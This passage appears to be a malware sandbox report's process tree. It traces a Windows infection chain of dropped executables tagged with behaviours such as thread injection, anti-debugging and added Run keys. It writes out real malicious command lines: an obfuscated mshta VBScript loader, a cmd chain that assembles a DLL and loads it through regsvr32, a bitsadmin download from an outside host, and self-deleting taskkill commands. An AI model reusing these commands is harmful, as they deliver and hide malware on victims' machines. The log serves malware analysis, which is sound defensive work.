C:\Users\Admin\Documents\cSn4hAW2R4NGZzKfmWLIQXpN.exeC:\Users\Admin\Documents\cSn4hAW2R4NGZzKfmWLIQXpN.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\ujWmlhi3XedZsFt52OkzbFn5.exe"C:\Users\Admin\Documents\ujWmlhi3XedZsFt52OkzbFn5.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\ujWmlhi3XedZsFt52OkzbFn5.exeC:\Users\Admin\Documents\ujWmlhi3XedZsFt52OkzbFn5.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\z9s8n0mcE46MKGfNzsVfuG2_.exe"C:\Users\Admin\Documents\z9s8n0mcE46MKGfNzsVfuG2_.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\qXXaVFDl4f4pAYyJOw1SWbCc.exe"C:\Users\Admin\Documents\qXXaVFDl4f4pAYyJOw1SWbCc.exe"6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"7⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"8⤵
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2356.0.140409467\1826089325" -parentBuildID 20200403170909 -prefsHandle 1384 -prefMapHandle 1376 -prefsLen 1 -prefMapSize 219680 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2356 "\\.\pipe\gecko-crash-server-pipe.2356" 1468 gpu9⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2356.1.1510277638\1129704738" -childID 1 -isForBrowser -prefsHandle 4436 -prefMapHandle 4432 -prefsLen 156 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2356 "\\.\pipe\gecko-crash-server-pipe.2356" 4448 tab9⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2356.13.2089617638\756912330" -childID 2 -isForBrowser -prefsHandle 3744 -prefMapHandle 3740 -prefsLen 7013 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2356 "\\.\pipe\gecko-crash-server-pipe.2356" 3872 tab9⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2356.20.1126941290\1914346533" -childID 3 -isForBrowser -prefsHandle 3976 -prefMapHandle 3972 -prefsLen 8017 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 2356 "\\.\pipe\gecko-crash-server-pipe.2356" 3964 tab9⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"7⤵
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff9f3ea4f50,0x7ff9f3ea4f60,0x7ff9f3ea4f708⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1728 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1680 /prefetch:28⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2580 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2572 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2204 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:18⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe -S ..\MRZCIH.DO /U9⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>FIq2DqT_.Q"9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "9⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3944 /prefetch:18⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4936 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings8⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff60ec5a890,0x7ff60ec5a8a0,0x7ff60ec5a8b09⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5092 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6004 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6004 /prefetch:88⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,7851724924975409586,11522637035799249678,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5992 /prefetch:28⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 4228 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\qXXaVFDl4f4pAYyJOw1SWbCc.exe"7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 42288⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 4228 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\qXXaVFDl4f4pAYyJOw1SWbCc.exe"7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 42288⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\Lw1rY5ai_OriACx3p_VuxfGm.exe"C:\Users\Admin\Documents\Lw1rY5ai_OriACx3p_VuxfGm.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Lw1rY5ai_OriACx3p_VuxfGm.exeC:\Users\Admin\Documents\Lw1rY5ai_OriACx3p_VuxfGm.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Lw1rY5ai_OriACx3p_VuxfGm.exeC:\Users\Admin\Documents\Lw1rY5ai_OriACx3p_VuxfGm.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_7.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_7.exearnatic_7.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_7.exeC:\Users\Admin\AppData\Local\Temp\7zS858CB064\arnatic_7.exe6⤵
- Executes dropped EXE
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\770C.exeC:\Users\Admin\AppData\Local\Temp\770C.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\8025.exeC:\Users\Admin\AppData\Local\Temp\8025.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9FE3.exeC:\Users\Admin\AppData\Local\Temp\9FE3.exe1⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9FDF.exeC:\Users\Admin\AppData\Local\Temp\9FDF.exe1⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 9FDF.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\9FDF.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 9FDF.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\A280.exeC:\Users\Admin\AppData\Local\Temp\A280.exe1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRIPT:ClOSe (creAtEobJEct ( "WSCRIPt.ShElL" ). Run( "C:\Windows\system32\cmd.exe /Q /C TyPE ""C:\Users\Admin\AppData\Local\Temp\A280.exe"" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if """" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\A280.exe"" ) do taskkill -F -im ""%~Nxw"" " , 0 , tRUe ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /C TyPE "C:\Users\Admin\AppData\Local\Temp\A280.exe" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if "" == "" for %w in ( "C:\Users\Admin\AppData\Local\Temp\A280.exe" ) do taskkill -F -im "%~Nxw"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F -im "A280.exe"4⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO YE%TIMe%i> q1Qo.EY & echo | seT /P = "MZ" > FIq2DqT_.Q © /b /y FIq2DQT_.Q + QBEZ3.8 + R5FQa3.v3P +WWAA.Ue5 + JBVF~.yS + rcEI.~+Mj12.DS + q1QO.Ey ..\mRZCIH.DO & Del /q *& STart regsvr32.exe -S ..\MRZCIH.DO /U1⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /Q /C TyPE "C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if "-pLTfn82smRxoqI1Rgg5LiENy6ewubmT " == "" for %w in ( "C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe" ) do taskkill -F -im "%~Nxw"1⤵
-
C:\Users\Admin\AppData\Local\Temp\D22C.exeC:\Users\Admin\AppData\Local\Temp\D22C.exe1⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\D72E.exeC:\Users\Admin\AppData\Local\Temp\D72E.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5PC5U.tmp\D72E.tmp"C:\Users\Admin\AppData\Local\Temp\is-5PC5U.tmp\D72E.tmp" /SL5="$703DC,188175,104448,C:\Users\Admin\AppData\Local\Temp\D72E.exe"2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-D8JNU.tmp\134 Vaporeondè_éçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-D8JNU.tmp\134 Vaporeondè_éçè_)))_.exe" /S /UID=rec73⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows NT\NCYWVTDFVS\irecord.exe"C:\Program Files\Windows NT\NCYWVTDFVS\irecord.exe" /VERYSILENT4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N0RUM.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-N0RUM.tmp\irecord.tmp" /SL5="$2038A,5808768,66560,C:\Program Files\Windows NT\NCYWVTDFVS\irecord.exe" /VERYSILENT5⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\i-record\I-Record.exe"C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu6⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\65-5b295-be0-720a4-61027dc31d4da\SHatudosheshy.exe"C:\Users\Admin\AppData\Local\Temp\65-5b295-be0-720a4-61027dc31d4da\SHatudosheshy.exe"4⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\46-6b9b9-53a-46887-8dd1bd4c1ab73\Joshefepigi.exe"C:\Users\Admin\AppData\Local\Temp\46-6b9b9-53a-46887-8dd1bd4c1ab73\Joshefepigi.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\syixgomj.bib\GcleanerEU.exe /eufive & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ubcee2yu.h01\installer.exe /qn CAMPAIGN="654" & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0wnbz1dj.2rr\Setup3310.exe /Verysilent /subid=623 & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\0wnbz1dj.2rr\Setup3310.exeC:\Users\Admin\AppData\Local\Temp\0wnbz1dj.2rr\Setup3310.exe /Verysilent /subid=6236⤵
-
C:\Users\Admin\AppData\Local\Temp\is-21E5C.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-21E5C.tmp\Setup3310.tmp" /SL5="$10462,138429,56832,C:\Users\Admin\AppData\Local\Temp\0wnbz1dj.2rr\Setup3310.exe" /Verysilent /subid=6237⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-GSR94.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-GSR94.tmp\Setup.exe" /Verysilent8⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\NMemo3Setp.exe"C:\Users\Admin\AppData\Local\Temp\NMemo3Setp.exe" end10⤵
-
C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"9⤵
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"10⤵
-
C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cfcmwmzn.bhh\google-game.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\cfcmwmzn.bhh\google-game.exeC:\Users\Admin\AppData\Local\Temp\cfcmwmzn.bhh\google-game.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\cfcmwmzn.bhh\google-game.exe"C:\Users\Admin\AppData\Local\Temp\cfcmwmzn.bhh\google-game.exe" -a7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\44mixorw.zgm\BrowzarBrowser_J013.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\44mixorw.zgm\BrowzarBrowser_J013.exeC:\Users\Admin\AppData\Local\Temp\44mixorw.zgm\BrowzarBrowser_J013.exe6⤵
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\01q4tpvp.tis\GcleanerWW.exe /mixone & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5wbgimab.jdw\toolspab1.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\5wbgimab.jdw\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\5wbgimab.jdw\toolspab1.exe6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\5wbgimab.jdw\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\5wbgimab.jdw\toolspab1.exe7⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\25atuiup.e5t\SunLabsPlayer.exe /S & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\25atuiup.e5t\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\25atuiup.e5t\SunLabsPlayer.exe /S6⤵
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -phs4opgQYQzGH8jz -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pD83mn5aM5tet4nm -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\fjnkJfWrEDeA\fjnkJfWrEDeA.dll" fjnkJfWrEDeA7⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\fjnkJfWrEDeA\fjnkJfWrEDeA.dll" fjnkJfWrEDeA8⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsrD929.tmp\tempfile.ps1"7⤵
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
-
C:\Users\Admin\AppData\Local\Temp\F631.exeC:\Users\Admin\AppData\Local\Temp\F631.exe1⤵
-
